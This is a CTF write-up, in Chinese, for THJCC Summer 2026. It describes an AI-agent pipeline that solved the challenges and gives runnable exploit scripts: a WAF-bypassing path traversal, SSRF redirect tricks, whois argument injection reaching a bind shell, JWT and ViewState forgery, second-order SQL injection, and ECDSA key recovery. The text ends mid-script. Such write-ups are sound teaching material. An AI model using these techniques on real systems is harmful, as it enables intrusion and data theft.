CTF on KePulsary

THJCC CTF Summer 2026 writeup

Sun, 16 Aug 2026 00:00:00 +0000

THJCC CTF Summer 2026 writeup

THJCC CTF Summer Edition 2026（2026-08-13 ~ 08-16 20:00 UTC+8，CTFd 平台，动态计分）， 46 题解出 40：

分类	战绩	备注
Crypto	8/8	全清
Pwn	6/6	全清
Reverse	6/6	全清
Web	7/9	未解：The Archivist、Buggy web（均 0 解）
Misc	7/10	未解：All night long（需认歌）、CTFxck、Shifting v2（paste 失效）
Forensics	5/6	未解：Minecraft???（需 MC 客户端）
Welcome	1/1

最终 4504 分、排名 14（榜首奶龍大冒險 6341 分）。动态计分的副作用是榜单下午整体通缩：解出的人越多，题分越低，最后几小时我们的分数从 5900+ 一路滑到 4504。

这篇记录的不仅是题解。和以往单模型一路打到底不同，这次是编排式：主 agent 只做编排（侦察/派单/验收），全部解题由后台子 agent 流水线完成，多模态题外送 GPT。 40 题里我只亲手做了两道纯本地快题（Starry Sky、Baritone），其余 38 题是 138 个子 agent 会话的流水线派单加 GPT 两次出手的结果。怎么分工、踩了哪些坑、六道没解出来的题为什么没解出来，都写在前面，题解放后面。

一、模型怎么分的工

分工形态开头已经讲过，这里只给证据。比赛从 08-15 傍晚打到 08-16 20:00，主会话换了 5 个；模型段和切换点从各会话的运行记录逐段核对，再叠加各题 WRITEUP 的落盘时间戳交叉验证：

主会话	时段	模型段（请求 ×N）	完成的题目
会话①	08-15 16:20–16:50	deepseek-v4-flash ×125	首次全量扫题尝试，被用户清空重来（产物未保留）
会话②	08-15 16:52–18:03	deepseek-v4-flash ×117	xorlocks、I ate something bad、Lattice of Doom、Because There is no one Make Reverse So I Create This Chal（reverse-chal）、Man!、A Little Penguin’s Starry Sky Observation（第一批开局六题）
会话②	08-15 18:13–20:55	GLM-5.3 ×95	67jail、サイゼリヤ、Avatar Studio、Oracle of Padding、necropet、get-file1、déjà vu、A Million Messages
会话②	08-15 21:04–08-16 06:11	deepseek-v4-flash ×104	License、404、Nonce Sense、Afterimage2、TeaGod.exe、Canary Notes、Contoso（22:26 第二批上线后的夜场，通宵到早）
会话②尾段 + 会话③④并行	08-16 06:11–11:36	GLM-5.3 ×25 + deepseek-v4-flash ×157/×78	TeaGod666、Chronicle、Schizophrenic Signer、NoNo、Bookworm、get-file2、Time Machine、BlackFrost、Very Security Shell、Who is Whois? 2、Forbidden、Two Exponents；Starry Sky、Baritone 两道为主 agent 亲解（纯本地快题）
会话⑤（终局会话）	08-16 11:23–20:53	GLM-5.3 ×233（主编排）	Welcome（用户人眼 + GPT check-in）、SO EZ MISC（子 agent 第 3 轮）、SimpleNotes（子 agent 第 3 轮）
GPT（外部多模态）	08-16 午后	—	Afterimage1（mdat 孤立帧）、Where is our head（墨尔本双锚点）；All night long 未出

子 agent 兵团：138 个 subagent 会话，deepseek-v4-flash 68 个（4020 请求）、GLM-5.3 70 个（2830 请求）。每题一个 agent，时间盒 30-40 分钟，断点落盘、中断续派，滑窗保持 ≤3 并发（试过 6 并发，模型层连环故障）。未解题的消耗也值得一提：CTFxck 打了 10 轮，Buggy web 7 轮，The Archivist 5 轮，SO EZ MISC 和 SimpleNotes 各 3 轮，后两个第 3 轮破题。

术语：

上下文压缩＝主会话上下文超长时摘要续写，会话记录因此分段、模型归属按段核对；

断点落盘＝每轮把中间状态写进挑战目录 notes.md，按「已确凿的事实 / 当前假设与排除面 / 下一步（优先级）」分节滚动维护（如 ctfxck/notes.md 十轮、the-archivist/checkpoint_notes.md），中断可续、赛后可复盘；

滑窗＝保持固定并发数、一个 agent 结束立即补派；

1308＝账户级 5 小时请求配额上限（跨模型共享）；

会话 ID（b96110e4 等）＝本地会话编号，仅用于对照运行记录。

我给的 prompt（对照表，从会话记录提取）

时间	原始 prompt（摘录）	响应的模型
08-15 16:20	完成 https://ctf2026-sum.thjcc.org/challenges 中所有的挑战，有什么需求轮子可以自己安装github（检索）/brew，并把你的解题思路记下来……	deepseek-v4-flash
08-15 16:48	清空下本地题目文件夹的内容，与相关的记忆。	deepseek-v4-flash
08-15 16:52	# 任务：CTF 全量刷题（主 agent 编排模式）……（任务编排模板首版全文）	deepseek-v4-flash
08-15 16:57	这是ctfd，应该有对应的token可以用	deepseek-v4-flash
08-15 18:15	（上下文压缩后重注入任务模板）	GLM-5.3 ← 模型切换点
08-15 19:11	每次至多一个比赛题目环境吧？teagod我先停了，先做其他的？避免环境冲突？	GLM-5.3
08-15 19:15	rev，和pwn我理解简单点，还可以本地调试？	GLM-5.3
08-15 19:21	密码题我理解也可以本地解决，多派几个agent解决下crypto。	GLM-5.3
08-15 19:54	子agent貌似访问不到download，所以你派任务前，先把题目附件下好	GLM-5.3（附件预下载制度由来）
08-15 20:39	去掉容器的限制	GLM-5.3（环境锁废除的前奏）
08-15 21:07	现在又有token了，继续干！需要我的东西留到最后再搞。另外的，没有多模态额度了！	deepseek-v4-flash ← 切回
08-15 22:26	先放着吧，看下有没有新题，也加到队列里，另外我去睡觉了，有问题收集起来我明天会看，应解尽解下。	deepseek-v4-flash（通宵无人值守）
08-16 06:11	结合我之前说的内容，更新下任务模板文件	deepseek-v4-flash
08-16 06:18	继续完成解题，优先做最可能完成的题目，对于多次没做出来的题目优先级降低些（放后面再做，避免卡进度）。	GLM-5.3（b96110e4 开场）
08-16 08:11	agent放后台执行，有agent结束就派新的agent……避免等待5个agent全完成才派发下一批	deepseek-v4-flash（滑窗流水线定稿）
08-16 08:16	派子agent 模型用deepseek就行	deepseek-v4-flash
08-16 08:34	不要有lock，写到ctf prompt template中……一个容器锁会影响多个子agent解题	deepseek-v4-flash（环境锁全面废除）
08-16 10:10	让子agent去做，派的子agent少一点，就三个，不然容易限流	deepseek-v4-flash（≤3 并发定稿）
08-16 11:20	停止所有agent，后面让他们总结阶段性成果，我要交给下一个模型去干活了。	deepseek-v4-flash
08-16 11:23	继续完成解题，优先做最可能完成的题目……主agent调度，子agent干活，没有锁，最多三个子agent run在后台。	GLM-5.3（终局会话 d3dc43ee 开场）
08-16 12:0x	welcome做出来了，这是wp：……（Welcome 57 帧题解全文）	GLM-5.3
08-16 12:4x	现在还有哪些难搞的需要多模态模型的题目？给我下，我等会让gpt搞一下	GLM-5.3（GPT 外援通道开启）
08-16 13:0x	这些需要gpt（多模态）完成的题目你就不要再自己做了。把题目与相关需要交接的东西给到我就行	GLM-5.3（三题移交定稿）
08-16 14:1x	这是干啥的？/tmp/thjcc-submit-lock。提交flag也弄个锁吗？不需要锁	GLM-5.3（提交锁废除）
08-16 14:2x	ctfd的平台应该有便捷的方式提交flag吧？比如apikey的openapi……给一个curl出来我让gpt自己验证去	GLM-5.3（API token 交付 GPT）
08-16 15:0x	有配额了，继续让agent干！	GLM-5.3（1308 重置后复场）
08-16 15:2x	simplenotes不会有源码了，继续干他，不要太局限了，你看没源码也有解ssrf看看呢	GLM-5.3（SimpleNotes 第 3 轮换论）
08-16 19:3x	TL;DR 正确答案：THJCC{144.95,-37.81}……（GPT 两题完整 WP 回传）	GLM-5.3
08-16 19:5x	两道web派子agent攻克下	GLM-5.3（终局两路）

归属方法注记：主会话的模型段与切换点按运行时间连续分段核对；用户 prompt 已过滤系统注入消息（待办提醒、子任务回报等）；题目归属 = WRITEUP 落盘时间戳落在哪个模型段。早期记录在上下文压缩后有所缺失，以完整保存的记录为准。

几条被打磨出来的纪律

提交锁废除：一开始按模板给 flag 提交加了个 mkdir 原子锁，被用户否了：多 agent 互相等锁只会互相阻塞。改成无锁，撞了平台限速就退避（CTFd 大约一分钟限 10 次，被限速的那次不算判定，sleep 8-10s 重发即可）。
配额墙：账户级 5 小时请求上限（1308 次）跨模型共享，撞墙就停派等重置，空档期我自己做纯本地快题维持进度。
降级规则：多轮打不动的题排到队尾。The Archivist、Buggy web、CTFxck 都是打满十轮上下后正式关闭，每轮断点全量落盘，等官方 writeup 对答案。
题面复核：黑盒卡死先复查附件和题面有没有中途更新，这条抓到过两次关键情报（Buggy web 作者后挂了 4 条 hints，直接点明密码字段是 SQLi；CTFxck 题面补了解释器源码链接）。

官方 hints 的杠杆率

Buggy web 的 3 条免费 hint 加 1 条 50 分的付费 hint 全买了，情报质量确实高（账号固定在 DB、密码字段拼 SQL、DB 有个休眠函数）。结果 7 轮 ~350 个 payload 打下来，password 进的是结果被丢弃的查询，黑盒里根本没有 oracle 可依赖。买 hint 前得先想清楚它帮你排除了什么，又排除不了什么。

二、题解（40 题，每题附真实可运行的最小 POC）

每题代码即对应本地题目目录 <slug>/solve.py（或 solve.sh）的核心逻辑，参数化可直接运行；纯人眼/OSINT 类题（Welcome、Where is our head、Penguin）注明豁免与可复现部分。

说明：联网 POC（chal.thjcc.org 各端口）为赛时实例验证，赛后需自建环境或本地起题；离线可复现的题（Two Exponents、Lattice of Doom、License、404/xorlocks、BlackFrost、TeaGod.exe、Because…、Man!、Afterimage2、Starry Sky、Baritone、Welcome 抽帧、サイゼリヤ）开箱即跑。40 题 = 38 个条目：get-file1/get-file2 与 404/xorlocks 各合并为一条。所有代码块默认折叠，按需点击展开。

跨题套路·解码/归一/格式层差异判别法（SimpleNotes 全角 hex、67jail NFKC 全角标识符、get-file1 小写 location:、Time Machine zip/tar symlink）：遇到"某种检查能过、另一种不过"时，先枚举输入会经过的所有层（URL 解码、tokenizer 归一、大小写折叠、归档格式解析…），对每层送一组对照输入（%25 编码、全角字符、大小写头、换归档格式），确定"哪层看不见什么"，再从层间差异下手。

Web（7/9）

SimpleNotes（Ghost Bits / BH Asia 2026） Flag：THJCC{inspired_by_blackhat_asia_2026}

前两轮证明了 /api/read?f= 在 ASCII 编码空间"数学密封"（WAF raw+解码双查 ../%2e/%2f，应用单次 URLDecoder）。破口在解码器字符集差异：URLDecoder 的十六进制解析走 Character.digit，它接受全角字符：%２ｅ 解码出 .，而 WAF 的 ASCII token 匹配完全看不见。

📜 SimpleNotes solve.py（56 行，核心 ghost_escape@149）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56


#!/usr/bin/env python3
"""SimpleNotes (THJCC CTF Summer 2026, Web) — 一键复现.

原理: 控制器对 f 做一次 java.net.URLDecoder.decode; 其十六进制解析走
Character.digit(char,16), 接受全角字符('２'->2, 'ｅ'->14, 'ｆ'->15),
故 "%２ｅ"->'.'、"%２ｆ"->'/', 而 WAF 只匹配 ASCII token "%2e/%2f/..".
传输约束: '%' 必须写成 %25, 全角字符必须 UTF-8 百分号编码(裸高位字节/裸%+非ASCII
均被 Tomcat 400).

用法: solve.py [base_url] [--depth N] [--target flag.txt]
"""
import argparse
import sys
import urllib.request

FW = {"2": "２", "e": "ｅ", "f": "ｆ", "E": "Ｅ", "F": "Ｆ"}


def ghost_escape(ch: str) -> str:
 """把 '.' 或 '/' 编码成 URLDecoder 能折叠、WAF 看不见的 %２ｅ/%２ｆ 形态."""
 hexpair = f"{ord(ch):02x}" # '.' -> '2e', '/' -> '2f'
 body = "".join(FW[c] for c in hexpair)
 return "%25" + "".join(f"%{b:02X}" for b in body.encode("utf-8"))


def fetch(base: str, query: str) -> tuple[int, str]:
 url = f"{base.rstrip('/')}/api/read?{query}"
 try:
 with urllib.request.urlopen(url, timeout=10) as r:
 return r.status, r.read().decode("utf-8", "replace")
 except urllib.error.HTTPError as e:
 return e.code, e.read().decode("utf-8", "replace")


def main() -> None:
 ap = argparse.ArgumentParser()
 ap.add_argument("base", nargs="?", default="http://chal.thjcc.org:12024")
 ap.add_argument("--depth", type=int, default=2, help="notes 目录深度(默认 2)")
 ap.add_argument("--target", default="flag.txt", help="根下目标文件名")
 a = ap.parse_args()

 code, body = fetch(a.base, "f=" + ghost_escape("."))
 print(f"[*] canary -> [{code}] {body.strip()!r} (期望 404 echo '.')")

 q = "f=" + (ghost_escape(".") * 2 + "/") * a.depth + ghost_escape("/") + a.target
 code, body = fetch(a.base, q)
 print(f"[*] traversal(depth={a.depth}) -> [{code}]")
 if code == 200 and body.startswith("THJCC{"):
 print(f"[+] {body.strip()}")
 sys.exit(0)
 print(f"[-] {body.strip()[:200]} (尝试 --depth 1/2/3)")
 sys.exit(1)


if __name__ == "__main__":
 main()

get-file1 / get-file2（SSRF 续作对） Flag：THJCC{pHp_StReAm_30X_cAsE_43082ed528} / THJCC{PHP_stream_30x_DuAl_65de4980cf}

v1 的 redirect 白名单用大小写敏感的 str_starts_with('Location:') 校验，redirector 发小写 location: 头即绕过，PHP stream 跟 3xx 不分大小写直达 flag host。v2 修了这个但只校验第一跳，跟随链后续不查，内网端点直接吐 flag。

📜 get-file1 solve.py（33 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


# ==== get-file1/solve.py ====
#!/usr/bin/env python3
"""get-file1 一键复现：SSRF + 小写 location 头绕过重定向白名单校验。

用法: python3 solve.py [host:port]
默认 chal.thjcc.org:8081。预期输出: THJCC{...}
"""
import sys, urllib.request, urllib.error

TARGET = sys.argv[1] if len(sys.argv) > 1 else "chal.thjcc.org:8081"

# r = redirector 的 compose 服务名（docker-compose.yml services.r）
# /a 端点用小写 'location' 头发出 302 -> http://flag.thjcc/flag.txt
payload = f"http://{TARGET}/file.php?u=http://r/a"

try:
 body = urllib.request.urlopen(payload, timeout=20).read().decode()
except urllib.error.HTTPError as e:
 body = e.read().decode()

print(f"[+] GET {payload}")
print(body.strip())

# 对照组：/b 用大写 'Location'，会被 file.php 的
# str_starts_with($v,'Location:') 手动校验抓住 -> 400 error
try:
 urllib.request.urlopen(f"http://{TARGET}/file.php?u=http://r/b", timeout=20).read()
 ctrl = "unexpected 200"
except urllib.error.HTTPError as e:
 ctrl = e.read().decode().strip()
print(f"[*] control /b (capital Location) -> {ctrl!r} (预期 'error')")
if "THJCC{" in body:
 print("[*] flag captured")

📜 get-file2 solve.sh（9 行）——点击展开

1
2
3
4
5
6
7
8
9


# ==== get-file2/solve.sh ====
#!/bin/bash
# get-file2 solve: SSRF to internal r/a which serves the flag directly.
# Usage: bash solve.sh [host] [port]
set -u
HOST="${1:-chal.thjcc.org}"
PORT="${2:-8082}"
curl -s -m 10 "http://${HOST}:${PORT}/file.php?u=http://r/a"
echo

Who is Whois? 2 Flag：THJCC{Wh0_15_wH015???WH0_15_wh0_15:D}

whois query 拼 argv，-h/-p 参数透传 = 任意 TCP SSRF → 内网全端口扫出 127.0.0.1:31337 的 bind shell（输入即执行）→ 跑 root 0711 的 /flag 可执行文件直接吐 flag。

发现过程：;/$()/`/| 全被滤，但 whois CLI 参数原样透传——-h 127.0.0.1 -p 80 x 回 “WHOIS connection failed.” 实锤任意 TCP SSRF；对 127.0.0.1 全端口扫描只有 31337 回 sh: 1: x: not found——把每行输入当 shell 命令执行的 bind shell（redis 用户）。Redis 6379 路线被 rename-command 禁用 + Lua 沙箱封死，FTP/SMTP/SSH 是假服务。

📜 Who is Whois? 2 solve.sh（19 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


#!/bin/sh
# solve.sh — Who is Whois? 2 (THJCC CTF Summer 2026, Web, 500pts)
# 攻击链: whois CLI 参数注入（-h/-p）→ SSRF → 127.0.0.1:31337 bind shell（redis 用户）
# → 执行 /flag（root 0711: 可执行不可读）→ 输出 flag
# 用法: bash solve.sh [HOST] [PORT]
# 依赖: curl, python3（解析 JSON）
set -u

HOST="${1:-chal.thjcc.org}"
PORT="${2:-5000}"
QUERY='-h 127.0.0.1 -p 31337 /flag'

echo "[*] WHOIS SSRF payload: ${QUERY}"
RESP=$(curl -sk --max-time 15 -X POST "http://${HOST}:${PORT}/whois" \
 -H 'Content-Type: application/json' \
 -d "{\"query\":\"${QUERY}\"}")

FLAG=$(echo "${RESP}" | python3 -c 'import sys,json;print(json.load(sys.stdin).get("output","").strip())')
echo "[+] Flag: ${FLAG}"

Avatar Studio Flag：THJCC{local_test_flag_not_the_real_one}

JWT kid 相对路径 ../ 穿越（startswith("/") 只拦绝对路径）到 /.git/HEAD 已知内容做 HS256 密钥 → 伪造 admin token。

发现过程：/.git/<path> 显式路由先泄漏全部源码——load_key(kid) 只拦 NUL 与 / 开头，os.path.join 不解析 ..；线上 .git/HEAD 内容已知（ref: refs/heads/master），kid=../.git/HEAD 就把"任意已知内容文件"变成 HMAC 密钥。/panel-legacy 的假 flag 诱饵平台判 incorrect。

📜 Avatar Studio solve.py（71 行，核心 forge@291）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71


#!/usr/bin/env python3
"""Avatar Studio - one-shot solve.

Vuln chain (from .git leak source, app.py):
 load_key(kid) only blocks NUL bytes and leading "/" -- os.path.join(KEY_DIR, kid)
 still allows "../" traversal, so ANY file with known content can serve as the
 HMAC-SHA256 signing key. The app itself serves /.git/<path> verbatim, so we can
 read .git/HEAD bytes live and use kid="../.git/HEAD" to forge an admin JWT.

Usage: solve.py BASE_URL (instance URL from the CTF-Instancer, e.g. http://chal.thjcc.org:<port>)
"""
import base64
import hashlib
import hmac
import json
import sys
import urllib.request

if len(sys.argv) < 2:
 sys.exit("usage: solve.py BASE_URL (your instancer-provided instance URL)")
BASE = sys.argv[1].rstrip("/")


def b64url(data: bytes) -> str:
 return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def b64url_decode(data: str) -> bytes:
 return base64.urlsafe_b64decode(data + "=" * (-len(data) % 4))


def forge(kid: str, payload: dict, key: bytes) -> str:
 header = {"alg": "HS256", "typ": "JWT", "kid": kid}
 h = b64url(json.dumps(header, separators=(",", ":")).encode())
 p = b64url(json.dumps(payload, separators=(",", ":")).encode())
 sig = hmac.new(key, f"{h}.{p}".encode(), hashlib.sha256).digest()
 return h + "." + p + "." + b64url(sig)


def get(path: str, cookie: str = None) -> tuple[int, bytes]:
 req = urllib.request.Request(BASE + path)
 if cookie:
 req.add_header("Cookie", cookie)
 try:
 r = urllib.request.urlopen(req, timeout=10)
 return r.status, r.read()
 except urllib.error.HTTPError as e:
 return e.code, e.read()


# 1. pull exact key material from the app's own .git route
status, head_bytes = get("/.git/HEAD")
assert status == 200, f".git/HEAD fetch failed: {status}"
print(f"[*] .git/HEAD = {head_bytes!r}")

# 2. forge admin token with that file as the HMAC key
payload = {"username": "admin", "role": "admin"}
token = forge("../.git/HEAD", payload, head_bytes)
print(f"[*] forged token = {token}")

# 3. claim the flag
status, body = get("/admin", f"session={token}")
print(f"[*] /admin -> {status}")
text = body.decode(errors="replace")
import re
m = re.search(r"THJCC\{[^}]*\}", text)
if m:
 print(f"[+] FLAG: {m.group(0)}")
else:
 print(text[:500])
 sys.exit(1)

Bookworm（二阶 SQLi） Flag：THJCC{s3c0nd_0rd3r_b00kw0rm_9f3a1c}

注册参数化安全入库，/generate_report 后台线程字符串拼接 WHERE username='...' 二次查询引爆；CSV 报告行有无 = 布尔 oracle。存储 XSS 是诱饵（无 bot）。

📜 Bookworm solve.py（87 行，核心 sqli_report@402）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


#!/usr/bin/env python3
"""Bookworm (THJCC CTF Summer 2026) — second-order SQLi via async report thread.

Usage:
 python3 solve.py --host chal.thjcc.org --port 31263

Chain:
 1. register a user whose username is a SQL payload (all main routes are
 safely parameterized, the payload just sits in the users table)
 2. POST /generate_report -> the *background thread* later runs
 SELECT title,author,rating FROM books WHERE username='<payload>'
 with string concatenation -> second-order SQL injection
 3. the generated CSV report is the exfil channel (UNION results appear
 as book rows); a crashed thread = no report row at all (boolean oracle)
"""
import argparse
import re
import sys
import time

import requests

FLAG_TABLE_B64 = "bjB0aDFuZ190MF9zMzNfaDNyMw==" # decodes to n0th1ng_t0_s33_h3r3

DUMPS = [
 ("tables",
 "x' UNION SELECT 1,(SELECT group_concat(name) FROM sqlite_master "
 "WHERE type='table'),3-- "),
 ("hidden-schema",
 "y' UNION SELECT 1,(SELECT sql FROM sqlite_master "
 "WHERE name LIKE 'bjB0%'),3-- "),
 ("flag",
 "z1' UNION SELECT (SELECT name||' == '||value FROM "
 f"\"{FLAG_TABLE_B64}\"),2,3-- "),
]


def sqli_report(base, payload, idx):
 """Register payload-username, trigger async report, return CSV text."""
 s = requests.Session()
 user = payload # full payload must survive: usernames >64 chars are accepted
 s.post(f"{base}/signup", data={"username": user, "email": "e@e.com",
 "password": "Pw12345!"}, timeout=10)
 r = s.post(f"{base}/login", data={"username": user,
 "password": "Pw12345!"}, timeout=10)
 if "Logout" not in r.text:
 print("[-] login failed (username rejected?)", file=sys.stderr)
 return None
 s.post(f"{base}/shelf", data={"title": "mk", "author": "a",
 "rating": "3"}, timeout=10)
 s.post(f"{base}/generate_report", timeout=10)
 for _ in range(6): # async thread writes the row ~1-4s later
 time.sleep(2)
 inbox = s.get(f"{base}/inbox", timeout=10).text
 ids = re.findall(r"/download_report/(\d+)", inbox)
 if ids:
 return s.get(f"{base}/download_report/{max(ids, key=int)}",
 timeout=10).text
 return None


def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("--host", required=True)
 ap.add_argument("--port", type=int, required=True)
 args = ap.parse_args()
 base = f"http://{args.host}:{args.port}"

 for tag, payload in DUMPS:
 print(f"[+] dumping: {tag}")
 csv = sqli_report(base, payload, tag)
 if csv is None:
 print(" (thread crashed or no report -> payload rejected)")
 continue
 for line in csv.splitlines():
 if (line.startswith(("mk,", '"mk')) or "script" in line.lower()
 or line == "title,author,rating" or line in (",2,3", "1,2,3")):
 continue
 print(" ", line[:300])
 m = re.search(r"(THJCC\{[^}]+\})", line)
 if m:
 print("\n[+] FLAG:", m.group(1))
 return


if __name__ == "__main__":
 main()

Contoso Asset Portal Flag：THJCC{f0rg3d_v13wst4t3_w1th_l34k3d_m4ch1n3k3y}

/backup/2024-legacy-web.config~ 泄漏未轮换 machineKey → 重算 HMACSHA1 伪造 role=admin + restricted asset 的 ViewState（ObjectStateFormatter 载荷）。

发现过程：Server: Mono-HTTPAPI/1.0 + 页面注释锁定 ASP.NET 2.0/Mono；ViewState 解码为 FF 01 0C | 01 05 "guest" | 01 0B "AST-0000000" + 20 字节 MAC，篡改任一字节即 500（MAC 启用）→ 必须搞到 machineKey；/robots.txt → /backup/ 目录列表泄漏 2024-legacy-web.config~（注释明说 “keys were NOT rotated”）与 assets.csv.bak（唯一 restricted 资产 AST-4F2A9C0）；用泄漏 key 对原始 payload 重算 HMACSHA1 与尾部 20 字节比对一致，确认算法后伪造。

📜 Contoso Asset Portal solve.py（57 行，核心 forge_viewstate@498）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


#!/usr/bin/env python3
"""Contoso Asset Portal — ViewState MAC forgery solve script.

Chain:
 1. /robots.txt -> /backup/ -> 2024-legacy-web.config~ leaks the production
 machineKey validationKey (SHA1, unrotated).
 2. Default.aspx keeps session state (role, asset) inside __VIEWSTATE,
 serialized as Pair(role, asset) via ObjectStateFormatter (Mono).
 3. Rebuild the serialized payload with role=admin, asset=AST-4F2A9C0
 (the 'restricted' row in assets.csv.bak) and append a valid
 HMACSHA1(validationKey, payload) MAC -> flag is returned.

Usage: python3 solve.py [base_url]
"""
import base64
import hashlib
import hmac
import re
import sys
import urllib.parse
import urllib.request

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://chal.thjcc.org:31257"
PAGE = BASE + "/Default.aspx"

# Leaked from /backup/2024-legacy-web.config~ (comment: "keys were NOT rotated")
VALIDATION_KEY = bytes.fromhex(
 "F3690E7A9D8F4C2B1A5E6D7C8B9A0F1E2D3C4B5A69788796A5B4C3D2E1F0A9B8"
 "C7D6E5F4A3B2C1D0E9F8A7B6C5D4E3F2A1B0C9D8E7F6A5B4C3D2E1F0A9B8"
)

ROLE = "admin"
ASSET = "AST-4F2A9C0" # Domain Controller, classification=restricted


def forge_viewstate(role, asset):
 """Rebuild ObjectStateFormatter payload: FF 01 <type=0x0C Pair> <str> <str>."""
 rb, ab = role.encode(), asset.encode()
 payload = bytes([0xFF, 0x01, 0x0C, 0x01, len(rb)]) + rb + bytes([0x01, len(ab)]) + ab
 mac = hmac.new(VALIDATION_KEY, payload, hashlib.sha1).digest()
 return base64.b64encode(payload + mac).decode()


def main():
 vs = forge_viewstate(ROLE, ASSET)
 data = urllib.parse.urlencode({"q": "", "__VIEWSTATE": vs}).encode()
 req = urllib.request.Request(PAGE, data=data)
 with urllib.request.urlopen(req, timeout=20) as resp:
 body = resp.read().decode(errors="replace")
 m = re.search(r"<code>(THJCC\{[^<]*\})</code>", body)
 if not m:
 sys.exit("flag not found in response:\n" + body[:500])
 print(m.group(1))


if __name__ == "__main__":
 main()

Crypto（8/8）

Nonce Sense Flag：THJCC{n3v3r_3v3r_r3us3_th3_s4m3_n0nc3}

secp256k1 ECDSA 双签名共享 nonce：k=(z1−z2)/(s1−s2)。

📜 Nonce Sense solve.py（148 行，核心 recover_key@585）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148


#!/usr/bin/env python3
"""Nonce Sense (THJCC Summer 2026) — ECDSA/secp256k1 nonce-reuse solver.

Protocol observed:
 PUB <x(32B hex)> <y(32B hex)> # uncompressed secp256k1 pubkey
 SIG <msg hex> <r(32B hex)> <s(32B hex)> # two sigs share r => same nonce k
 TARGET <msg hex> # message we must sign

Attack:
 k = (z1 - z2) / (s1 - s2) mod n (z_i = SHA256(msg_i))
 d = (s1*k - z1) / r mod n
 then sign TARGET with a fresh nonce.
"""
import hashlib
import os
import re
import socket
import sys

# ---- secp256k1 constants ----
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8


def point_add(A, B):
 if A is None:
 return B
 if B is None:
 return A
 x1, y1 = A
 x2, y2 = B
 if x1 == x2 and (y1 + y2) % P == 0:
 return None
 if A == B:
 lam = (3 * x1 * x1) * pow(2 * y1, -1, P) % P
 else:
 lam = (y2 - y1) * pow((x2 - x1) % P, -1, P) % P
 x3 = (lam * lam - x1 - x2) % P
 y3 = (lam * (x1 - x3) - y1) % P
 return (x3, y3)


def point_mul(k, base=(GX, GY)):
 R = None
 Q = base
 while k:
 if k & 1:
 R = point_add(R, Q)
 Q = point_add(Q, Q)
 k >>= 1
 return R


def recover_key(pub, r, s1, s2, m1, m2):
 z1 = int.from_bytes(hashlib.sha256(m1).digest(), "big")
 z2 = int.from_bytes(hashlib.sha256(m2).digest(), "big")
 k = (z1 - z2) * pow((s1 - s2) % N, -1, N) % N
 Rk = point_mul(k)
 assert Rk[0] % N == r, "nonce recovery failed"
 d = (s1 * k - z1) * pow(r, -1, N) % N
 assert point_mul(d) == pub, "pubkey mismatch"
 return d, k


def sign(d, msg, nonce=None):
 z = int.from_bytes(hashlib.sha256(msg).digest(), "big")
 while True:
 k = nonce if nonce is not None else int.from_bytes(os.urandom(32), "big") % N
 if k == 0:
 k = None
 continue
 R = point_mul(k)
 r = R[0] % N
 if r == 0:
 k = None
 continue
 s = pow(k, -1, N) * (z + r * d) % N
 if s == 0:
 k = None
 continue
 return r, s


def main():
 sock = socket.create_connection(("chal.thjcc.org", 12001), timeout=10)
 sock.settimeout(10)
 data = b""
 while True:
 chunk = sock.recv(4096)
 if not chunk:
 break
 data += chunk
 if data.count(b"\n") >= 4: # banner done after TARGET line
 break
 text = data.decode(errors="replace")
 print("[*] server banner:")
 print(text)

 lines = text.strip().splitlines()
 pub = None
 sigs = []
 target = None
 for ln in lines:
 parts = ln.split()
 if parts[0] == "PUB":
 pub = (int(parts[1], 16), int(parts[2], 16))
 elif parts[0] == "SIG":
 sigs.append((bytes.fromhex(parts[1]), int(parts[2], 16), int(parts[3], 16)))
 elif parts[0] == "TARGET":
 target = bytes.fromhex(parts[1])
 assert pub and len(sigs) >= 2 and target is not None

 m1, r1, s1 = sigs[0]
 m2, r2, s2 = sigs[1]
